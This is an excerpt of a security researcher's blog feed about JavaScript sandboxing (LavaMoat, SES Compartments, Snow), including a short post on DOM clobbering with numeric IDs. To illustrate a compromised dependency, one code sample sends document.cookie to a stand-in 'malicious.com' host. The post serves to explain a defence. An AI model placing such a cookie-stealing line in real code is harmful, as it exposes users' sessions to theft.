&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
In the meantime, some resources:&lt;br&gt;
&lt;br&gt;
* Original &lt;a href=&quot;https://github.com/LavaMoat/LavaMoat/pull/360&quot;&gt;PR&lt;/a&gt; introducing scuttling to LavaMoat &lt;br&gt;
&lt;br&gt;
* &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/pull/17276/files#diff-d2cbf252783e5836a01b2eb1f9604a8452edc4eb3891baa61d1df758bdc501a1&quot;&gt;List&lt;/a&gt; of properties we DON&apos;T scuttle at the moment (which I&apos;ll talk about in the next thread)&lt;br&gt;
&lt;br&gt;
* &lt;a href=&quot;https://github.com/endojs/endo/blob/master/packages/ses/README.md#compartment&quot;&gt;SES Compartments&lt;/a&gt; by &lt;a href=&quot;https://x.com/@agoric&quot;&gt;@agoric&lt;/a&gt;
&lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>DOM Clobbering - but with numbers?! [𝕏]</title>
   <link href="https://weizman.github.io//2023/06/23/n-clob/"/>
   <updated>2023-06-23T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/06/23/n-clob</id>
   <content type="html">&lt;style&gt;
    .post {
        max-width: 80vh;
    }
    IMG {
        border: solid 1px lightgray;
        padding: 15px;
        margin: 15px;
    }
&lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1672206009643970560&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
    You know how in browser JS if an attached element has an ID (e.g. &quot;&amp;lt;div id=&apos;gal&apos;&amp;gt;&quot;) then &quot;window[&apos;gal&apos;]&quot; returns the element?&lt;br&gt;
    &lt;br&gt;
    Well, it turns out that ID can also be a number (e.g. &quot;&amp;lt;div id=&apos;0&apos;&amp;gt;&quot;) and that&apos;ll still find its way to the window.&lt;br&gt;
    &lt;br&gt;
    Why is this interesting? Because ... &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/FzTegJeakAA9dVj.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/FzTegJeakAA9dVj.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    ... setting anything that isn&apos;t a WindowProxy object to the frames array is impossible - configuration of indexes to Window object is forbidden.&lt;br&gt;
    &lt;br&gt;
    But with this trick, you can find yourself with an item in the frames array that is not a WindowProxy object - but a DOM node instead! &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/FzTegh-aMAAXBnV.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/FzTegh-aMAAXBnV.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Does this matter for any real use cases? Well, not really.&lt;br&gt;
    However, if your project works with the frames array and you assumed the items in the array cannot be anything other than WindowProxy objects - I&apos;d revisit that conclusion 😉
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    This is exactly what happened in Snow. Furthermore, leveraging this trick could have allowed attackers to bypass Snow completely.&lt;br&gt;
    &lt;br&gt;
    &lt;br&gt;
    &lt;br&gt;
    Good to know I guess 🤷 &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://github.com/LavaMoat/snow/pull/111&quot;&gt;github.com/LavaMoat/snow/pull/111&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>LavaTube - Expermintal JS tool for recursively walk through ???</title>
   <link href="https://weizman.github.io//2023/05/14/lavatube-intro/"/>
   <updated>2023-05-14T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/05/14/lavatube-intro</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;tl;dr - ???&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;lavamoat&quot;&gt;LavaMoat&lt;/h2&gt;
&lt;p&gt;This was &lt;a href=&quot;https://metamask.io/news/security/using-lavamoat-to-solve-software-supply-chain-security/&quot;&gt;already communicated&lt;/a&gt;
multiple times online, so I won’t go too much into details today, but the bottom line is
that &lt;strong&gt;MetaMask is putting more effort than most of the world into securing the client side of web applications in all sorts of ways.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We call this initiative &lt;a href=&quot;https://github.com/lavamoat/&quot;&gt;the LavaMoat toolbox&lt;/a&gt; in which we focus on the &lt;strong&gt;security side of JavaScript and the client
side apps we build on top of it&lt;/strong&gt;, where we face some interesting and very unique challenges.&lt;/p&gt;
&lt;p&gt;We previously covered some of the tools in the toolbox:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LavaMoat - &lt;a href=&quot;https://metamask.io/news/security/using-lavamoat-to-solve-software-supply-chain-security/&quot;&gt;Using LavaMoat To Solve Software Supply Chain Security&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Snow - &lt;a href=&quot;https://github.com/lavamoat/snow/wiki/Introducing-Snow&quot;&gt;Introducing Snow: Securing Nested Ownership of Windows&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But today we’ll focus on a smaller problem we had and the cool little experimental LavaMoat tool we built for facing it - &lt;strong&gt;&lt;a href=&quot;https://github.com/LavaMoat/LavaTube/&quot;&gt;LavaTube&lt;/a&gt;!&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;motivation&quot;&gt;Motivation&lt;/h2&gt;
&lt;p&gt;Working on decentralized applications inherently forces such client side products to be &lt;strong&gt;more secure than other standard ones.&lt;/strong&gt;
This is because there isn’t really a backend to leverage for traditional security architecture - &lt;strong&gt;the security burden lies fully with the client side of the application.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That is why, as mentioned above, we at MetaMask put more effort than most of the industry into building &lt;strong&gt;the most secured client side applications we can.&lt;/strong&gt;
The tools we build are &lt;strong&gt;generic enough for anyone to use to enhance their JavaScript products security&lt;/strong&gt;, but we use them specifically to secure different parts of MetaMask.&lt;/p&gt;
&lt;p&gt;This situation forces us to come up and implement many unique solutions to this unique ecosystem (as partly listed above).
These different solutions act as separate protection layers where many of them are around making sure &lt;strong&gt;executed code can only do and access what it should and nothing more.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We (attempt to) accomplish this task by building on top of &lt;a href=&quot;https://github.com/agoric&quot;&gt;Agoric&lt;/a&gt;’s amazing &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses&quot;&gt;SES&lt;/a&gt; technology,
because thanks to the SES’s &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses#compartment&quot;&gt;Compartment&lt;/a&gt;s we can execute arbitrary code in its own virtual realm and provide it with a set of specific APIs we wish it would have while not worrying about it
managing to gain more power than intended. It also won’t be able to compromise the integrity of other code running in the system if combined with SES’s &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses#lockdown&quot;&gt;lockdown&lt;/a&gt; and &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses#harden&quot;&gt;harden&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you’re not familiar with these terms you should either try reading through without making full sense of it, or spend some time reading about &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses&quot;&gt;SES&lt;/a&gt;, &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses#compartment&quot;&gt;Compartments&lt;/a&gt;, &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses#lockdown&quot;&gt;lockdown&lt;/a&gt;, &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses#harden&quot;&gt;harden&lt;/a&gt; and &lt;a href=&quot;https://weizman.github.io/2022/10/28/what-is-a-realm-in-js&quot;&gt;realms&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;demonstration&quot;&gt;Demonstration&lt;/h3&gt;
&lt;p&gt;Assume we build a simple program that tells you the time:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tellTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;telling time; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;time is: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;telling time; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;button&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tellTime()&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; Click to know the time! &lt;span class=&quot;nt&quot;&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Since we LOVE using dependencies to make our lives easier, we better use a proper logging package instead of just calling &lt;code&gt;console.log&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;globalThis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;logger&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://logger.com/lib.js&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tellTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;telling time; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;time is: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;telling time; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;button&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tellTime()&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; Click to know the time! &lt;span class=&quot;nt&quot;&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;But what do we do if &lt;code&gt;logger&lt;/code&gt;’s maintainer goes evil? Or compromised?&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;globalThis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;logger&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://malicious.com/stealCookies?data=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;With Compartments, the threat can be eliminated completely:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;globalThis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;logger&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;lockdown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://logger.com/lib.js&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;js&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;comp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Compartment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;comp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;js&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;comp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;globalThis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}());&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tellTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;telling time; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;time is: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;telling time; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;button&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tellTime()&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; Click to know the time! &lt;span class=&quot;nt&quot;&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The code above achieves the same effect, but instead of loading the untrusted dependency to the main realm of our app, we load it
into a virtual realm (the compartment) and we only allow it to access &lt;code&gt;console&lt;/code&gt;, so when the code evaluates it’ll have access to &lt;code&gt;console&lt;/code&gt; when it needs it,
but it won’t be able to call &lt;code&gt;fetch&lt;/code&gt;/&lt;code&gt;document.cookie&lt;/code&gt; as it wasn’t explicitly allowed (Agoric prefers using &lt;strong&gt;endowed&lt;/strong&gt;).&lt;/p&gt;
&lt;h2 id=&quot;problem&quot;&gt;Problem&lt;/h2&gt;
&lt;p&gt;However, JavaScript being JavaScript, Not endowing a Compartment one specific API does not necessarily mean it isn’t accessible otherwise…&lt;/p&gt;
&lt;h3 id=&quot;background&quot;&gt;Background&lt;/h3&gt;
&lt;p&gt;In MetaMask we work hard on shipping our very own plugin system we call &lt;a href=&quot;https://metamask.io/snaps/&quot;&gt;MetaMask Snaps&lt;/a&gt;.
Aside from it being a super interesting initiative in the Web3 ecosystem that &lt;strong&gt;will unlock some really interesting capabilities&lt;/strong&gt;,
